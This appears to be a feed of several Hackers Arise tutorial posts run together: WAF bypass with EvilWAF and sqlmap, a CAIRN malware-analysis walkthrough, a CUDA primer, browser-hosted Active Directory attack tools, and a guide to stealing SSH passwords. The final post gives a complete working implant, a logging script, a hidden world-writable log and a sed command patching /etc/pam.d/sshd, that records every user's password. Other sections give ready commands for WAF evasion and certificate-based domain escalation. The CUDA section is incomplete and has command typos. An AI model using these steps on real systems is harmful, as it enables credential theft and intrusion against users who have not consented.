Start EvilWAF targeting the web application you are auditing. By default, it opens a real-time terminal UI listening on 127.0.0.1:8080:

kali> python3 evilwaf.py -t https://target.com

With EvilWAF running, instruct your testing tool to send its requests through this proxy. For example, let’s run sqlmap:

kali> sqlmap -u “https://target.com/page?id=1” –proxy=http://127.0.0.1:8080

After that, EvilWAF should show a terminal user interface like the one below.

It lets us monitor live traffic and, most importantly, shows which transport-layer manipulation techniques, fingerprint profiles, and header injections are actively applied to outbound requests.

Another valuable feature of EvilWAF is auto-hunt. It runs 10 parallel scanners to identify the origin IP. This includes DNS history, SSL certificate analysis, subdomain enumeration, and more.

kali> python3 evilwaf.py -t https://target.com –auto-hunt

Once a high-confidence IP is found, it asks for confirmation to route traffic directly to the real server.

You can also specify the IP manually if you already know it:

kali> python3 evilwaf.py -t https://target.com –server-ip 1.2.3.4

Now, let’s switch from proxy mode to a standalone WAF vulnerability scanner. EvilWAF can evaluate the firewall itself for configuration flaws without running third-party tools:

kali> python3 evilwaf.py -t https://target.com –scan-only

This probes 10 defensive layers simultaneously.

Important Note About Cloudflare

Cloudflare is regarded as one of the most advanced WAFs today, functioning as a multi-layered defense system rather than just a set of rules. It operates through hundreds of global data centers, allowing it to detect and mitigate emerging attack patterns swiftly across all protected sites.

Cloudflare analyzes requests using various signals, including TCP/IP and TLS fingerprints, HTTP/2 structure, and behavioral patterns. By correlating these factors, it assigns a risk score to each request. Unlike traditional WAFs that rely on known attack patterns, Cloudflare uses machine learning models trained on extensive real attack traffic to identify deviations from legitimate browser traffic.

This makes it challenging to bypass since many techniques that work on rule-based WAFs are ineffective against Cloudflare. Its behavioral fingerprinting can challenge requests even before payloads are inspected, identifying tools based on transport-layer characteristics. Rate limiting is sophisticated, tracking session patterns and applying progressive challenges, making it hard to exploit thresholds.

Therefore, EvilWAF is just one example of what a WAF bypass might look like. Still, it is certainly not a bulletproof solution.

Summary

To wrap up, EvilWAF marks the start of a new era of firewall bypass. Payload obfuscation and simple encoding are very unlikely to work on modern WAFs. Therefore, it is important to pay attention to tools like EvilWAF.

If you’re interested in bug bounty, red teaming, or AI, we invite you to our training center, where we offer a range of courses to build your skills and stay up to date in cybersecurity.

The post Bypass Web Application Firewall (WAF) with EvilWAF first appeared on Hackers Arise.

The post IP Camera Hacking: Hacking IP Cameras with Cameradar first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Some of you have already seen the headlines about malware calling out to AI APIs. Recently, Talos found a Windows implant called CLOSEDQUORUM that leaves its tactical command and control decisions to a panel of commercial LLMs while the operator sleeps. Malware like that doesn’t leave the traces we’re used to hunting. Now you find prompt templates, provider endpoints, API key prefixes, jailbreak wording and sometimes text written to talk an AI sandbox out of flagging the file. Talos calls these cognitive artifacts and developers who wire an LLM into their tooling leave some behind.

What is CAIRN

Cisco Talos built a free research tool called CAIRN. The name is a metaphor. A cairn is a pile of stones hikers leave on a trail so the next person can see where to go. CAIRN looks for the same kind of marker inside malware that talks to AI. It works from metadata, which means you never download the sample and you never run it. Keep in mind, it needs a VirusTotal API. It sorts what it finds into three tiers, from a simple AI string match, to behavior and families. It also clusters samples that look alike even when they don’t share an obvious string. 

CAIRN is a research tool and not a live threat feed. It shows us where hackers are heading. 

Let’s set it up and cover some basic commands. 

Setting Up

We start by copying the repository and installing the python libraries.

kali > git clone https://github.com/Cisco-Talos/Cognitive-Artifact-Intelligence-Research-Network.git

kali > cd Cognitive-Artifact-Intelligence-Research-Network

kali > python -m venv .venv
kali > source .venv/bin/activate          

kali > pip install -e ".[dev]"

The env file needs VirusTotal API.

kali > cp .env.example .env
kali > nano .env

Once it’s there, you can start with some basic commands.

Basic Commands

The first thing we do is open the YARA file that ships with CAIRN and check that it is readable and put together the way the tool expects. If it prints a rule count and says the pack is valid, the rulers are loaded. You run it after install or after you edit a rule, so you know the next hunt will not fail because the rule file is broken.

kali > cairn validate-rules

Next we print the list of saved VirusTotal searches that come with CAIRN. We will use these names in the following command. The command only reads a config file on disk.

kali > cairn filters

Each name on that list is a hunt idea you can use, like Python files that mention an LLM library, or files that mention a hosted API.

kali > cairn pull --filter python-ai-scripts --limit 10

Next, you can summarize the findings. It reads only your database and tells you how many files you got and what rules were in use. 

kali > cairn summarize

We can then open the map.

kali > cairn explore

Here is how the clusters look like. Samples are grouped into clusters even when they share no obvious string overlap. These are semantic discoveries that analyze the meaning. 

Malware That Uses AI

Let’s take a look at the new developments in malware that were published by Cisco Talos. Their team was analyzing CLOSEDQUORUM.

They say it’s the first publicly documented Windows implant to apply this model to tactical command and control (C2). After it’s deployed, it uses AI models to decide what to do next and then executes their collective decision to harvest user credentials and crypto wallets. It doesn’t need a human to be ruling over the process, as the AI does everything. 

Traditional C2 architecture needs the hackers to have server infrastructure. That infrastructure is attributable and blockable. Instead of this, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.

Here is how it looks decompiled. 

You see the providers, models and prompts. 

Hackers also may give detailed technical prompt templates. Here TARGET: %s is substituted at runtime. 

The response is then deserialized into a Go struct. 

Structure of the returned model’s decision.

Summary

Malware that calls out to AI is already here. There’s no server to attribute or block, since the traffic goes to provider endpoints that legitimate apps hit all day. Now we also hunt for cognitive artifacts like prompt templates, provider endpoints, API key prefixes and jailbreak wording. CAIRN helps with that by working from VirusTotal metadata, so you never download or run the sample. It groups findings by AI strings, behavior and families and clusters similar samples by meaning. It shows us where hackers are heading, and they’re heading toward AI doing the thinking for them.

If you like Malware Analysis and want to improve your skills in this field, sign up for our Reverse Engineering Malware training.

The post Malware Analysis: Analyzing AI-Backed Malware with CAIRN first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

I think it is abundantly clear by now that the future of cybersecurity depends upon AI. This is the reason we are offering the Wittgenstein Award for the best AI cybersecurity agents. It is also the reason we are offering a series of tutorials and classes in using AI in cybersecurity.

As you know, most of the AI models run on NVIDIA GPU’s. These graphics processing units are unique in that they can process thousands of threads simultaneously (your CPU can run (4-16). These means that a GPU can do calculations on many processes at the same time, perfect for generating the graphics in your favorite game.

Artificial intelligence or large language models (LLMs) use neural networks to calculate the best answer to your prompt. Each token (~word) is chosen by the probabilities that it is the right token in the right order. This requires calculating probabilities simultaneously for thousand or even millions of tokens. This where the NVIDIA GPU’s come in.

Many years ago, NVIDIA developed a system they call CUDA or Compute Unified Device Architecture for running general purpose applications on a GPU. It is CUDA that nearly every AI developer started with and why NVIDIA is the GPU of choice. CUDA is perfect for running operations on many pieces of data simultaneously. It’s ideally suited for tasks where the work can be broken into many independent pieces and run the calculations in parallel such as image processing, deep learning, or even password cracking.

The code of any application that executes on the GPU is referred to as device code and those functions are referred as kernels. When a application launches a kernel, it launches many threads. These threads can number as many as millions. These threads are grouped and organized into thread blocks and these thread blocks are organized into a grid. These thread blocks are all exactly the same size with the same dimensions.

Since CUDA is such a key element of artificial intelligence development, we thought you should know at the least the basics of CUDA. This is the first of a series on using CUDA.

Step #1: Getting Started

Before we begin, let’s discuss the pre-requisites.

First, you need a NVIDIA GPU with CUDA support.

Second, as with any compute intensive task or cybersecurity, in general, I strongly recommend you use Linux (see my book, Linux Basics for Hackers from No Starch Press). Ubuntu or Debian is recommended (Kali Linux is Debian).

Third, you need to install the CUDA toolkit.

kali>sudo apt install nvidia-cuda-toolkit -y

Just like creating compiled programs in Linux with gcc, you will need the CUDA compiler or nvcc. You can check to see whether it is already installed by entering:

kali > nvcc --version

If you system responds with the nvcc version, the compiler is installed and we are ready to start!

Step 2: Write the CUDA Program

NVIDIA’s CUDA C++ is an extension of standard C++ designed for using the power of the GPU. Those of you comfortable with C++ should find CUDA C++ familiar and easy to work with. For the rest of you, pay close attention.

Let’s begin by creating a new file called hackers_arise_vector_cuda.cu (note the .cu extension).

Copy this program into that file.

Step 3: Compile the Code

Use the NVIDIA CUDA compiler or nvcc:

kali > nvcc hackers_arise_vector_cuda.cu -o myfirstcuda.cu

If you don’t see an error, your program has compiled successfully and is ready to run as myfirstcuda.cu (all CUDA programs use the .cu extension).

Step 4: Run the Program

Next, let’s run this simple CUDA program.

kali > ,/myfirstcuda.cu

Your output should look something this.

Step 4: What Happened?

Now, let’s look at what happened in our program.

In the first line, the code includes the C++ iostream that runs on the CPU providing standard in and standard out. In the second line, the code includes cuda_runtime.h which is the primary header file for the CUDA Runtime API.

Next, we create a CUDA kernel function that can run on a GPU. the __global__ indicates that this function can be installed from the CPU and run in the GPU.

Our program then calculates the global thread ID.

Next, after boundary checking, we generate the array size and then allocate memory on the host CPU.

Then, we initialize the host (CPU) arrays with sample data.

Next, we allocate memory on the device or GPU.

Then we copy the data from the host CPU to the device, GPU.

Next, we define the execution configuration (threads and blocks). In this case, we are designating 256 threads per block and then calculate how many blocks we need.

Next, we launch the kernel on the GPU using multiple threads

We need to wait for the GPU to complete it’s work before trying to access on the CPU.

Then we copy the results from the GPU to the CPU.

Next we verify the results by sending the first 5 values to standard out.

Finally, before we leave, we need free up the memory.

Summary

CUDA or Computer Unified Device Architecture is a framework developed by NVIDIA to fully utilize the strength of GPU’s. It use an extended C++ (as well as Python) to convert the problem in to a multi-threaded application. It is this framework that makes NVIDIA GPU’s the first choice for AI developers.

CUDA can also be used for many applications in cybersecurity including:

1. Password cracking and brute-force attacks
2. Real-time threat detection
3. Phishing and Malware Analysis
4. Post-Quantum Cryptography
5. Network Graph Analysis.

As this world transitions to artificial intelligence, stick to Hackers-Arise for the latest developments and techniques including the awarding of the Wittgenstein Award in 2027 for the best cybersecurity AI agents.

The post CUDA Basics for Hackers, Part 1: Getting Started first appeared on Hackers Arise.

Welcome back, pentesters!

Most of you are used to working with tools on your Linux machine. A lot of these tools are built for it. WSL exists, but some of them can also run right inside your Chrome browser. NXC, SharpHound, LDAP-shell, Evil-WinRM and five more are bundled into one signed IWA with multi-protocol support.

Before we go any further, don’t use these tools against systems you’re not authorized to test, and don’t use your daily Chrome browser for this either.

Let’s take a closer look at the bundle and see how it works.

Setting Up

We’ll follow the manual on the website. The setup is quick and just needs a few adjustments to Chrome. The first step is enabling Chrome flags. Paste each of these links and change the status.

Then relaunch Chrome and open web-dev. Recent Chrome updates moved this from web-app-internals.

Here we install a new tool. Paste this link:

https://iwa-tools.pkilla.pw/iwa/update.json

Chrome will fetch the version. Press Install. In apps, you’ll see the iwa-tools console appear. That’s what you need to open.

Working with Tools

The first thing to do is list the help menu, which has all the commands you can run. Each command has its own help menu with the syntax.

iwa > help
iwa > command -h 

Let’s do a quick port scan and find out what’s open on our Windows machine in the lab.

iwa > portscan IP 88,389,445,5985,9389 --timeout 2000

If Kerberos and LDAP are open, that means this host is a domain controller. We also have WinRM open. It may give us remote access on the DC with a valid admin account.

iwa > evil-winrm -H IP -u user -p password

Let’s list the DNS zones that our domain has available.

iwa > adidns -H IP -u user -d domain -p password --auth kerberos --tls --list

Finally, let’s see if we can escalate our privileges with ADCS. Certipy is used here.

iwa > certipy find -H IP -u user -d domain -p password --tls -enabled 

If you get the same results showing ESC1 is vulnerable, that’s a quick win. There are plenty of write-ups out there on abusing it to get domain admin privileges in the tested domain.

Summary

Creativity has always been one of the most important skills for hackers. Turns out our favorite tools can run inside a browser and reach systems locally. You might still prefer the classic way, which is totally fine, but it’s good to know they work just as well from a browser tab.

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Living off The Browser: Running Popular Hacking Tools Inside Chrome first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

During a pentest you might land on a Linux machine and make your way to root. Then comes cracking passwords, which is quite a challenging thing, unless you have good GPU. This can take a significant time with no promise it will work. Linux hashes, unlike NTLM hashes you have on Windows can’t be reused in lateral movement. Thankfully, there is a technique called PAM patch that can help you get those passwords when users log in via SSH.

Recon with Known Hosts

Before we start patching PAM, we need to understand the network a bit to see what hosts users connect to from this machine. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. Those files have a list of hosts.

For example, /home/username/.ssh/known_hosts might have a git host. That can be a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. If the user has the same credentials on that host, it will be a pivot point.

Preparing the Host

Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config.

root > vim /etc/ssh/sshd_config
PasswordAuthentication yes

Once this change is in place, the groundwork is set.

Creating a Logging Script

The next step is creating a small script that will record login attempts. With root privileges, create a new file at /usr/local/bin/logc.sh. We then make it executable and create a log file to store credentials.

create a log file. root > cat > /usr/local/bin/logc.sh << 'EOF'
#!/bin/bash
read -r PASS
echo "$(date) User: ${PAM_USER} Password: ${PASS} From: ${PAM_RHOST}" >> /var/log/.authc.log
exit 0
EOF

root > chmod 755 /usr/local/bin/logc.sh
root > touch /var/log/.authc.log
root > chmod 777 /var/log/.authc.log

Patching PAM

Now we need to edit the PAM authentication mechanism. PAM configurations vary slightly between distributions, but for SSH specifically, you will need to edit is /etc/pam.d/sshd. For broader system-wide coverage, other files such as /etc/pam.d/common-auth (Debian/Ubuntu) or /etc/pam.d/password-auth (CentOS) could be patched instead.

root > grep -q logc.sh /etc/pam.d/sshd || sed -i '1i auth optional pam_exec.so expose_authtok /usr/local/bin/logc.sh' /etc/pam.d/sshd

root > head -5 /etc/pam.d/sshd

This will ensure that every authentication attempt, successful or not, passes through the logging script before continuing with normal PAM processing.

Applying and Testing the Patch

For the changes to take effect, restart the SSH service.

root > grep -E '^PasswordAuthentication' /etc/ssh/sshd_config
root > systemctl restart ssh
root > systemctl is-active ssh

Once restarted, test the patch by logging in with valid credentials.

Now check the log file.

root > cat /var/log/.authc.log

Each entry has the username, the password they entered, the host they connected from and the date of the attempt. Over time, this log will have a lot of credentials from user sessions, helping you a lot during a pentest.

Summary

There is a great method of harvesting SSH credentials on Linux by modifying the PAM. After finding potential lateral movement hosts, SSH is set up to allow password authentication. A custom logging script is created to save usernames and their passwords. Then the script is integrated into PAM by editing /etc/pam.d/sshd. Restarting SSH activates this change and future connections will be stored with usable credentials. 

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Password Cracking: Stealing SSH Credentials with PAM first appeared on Hackers Arise.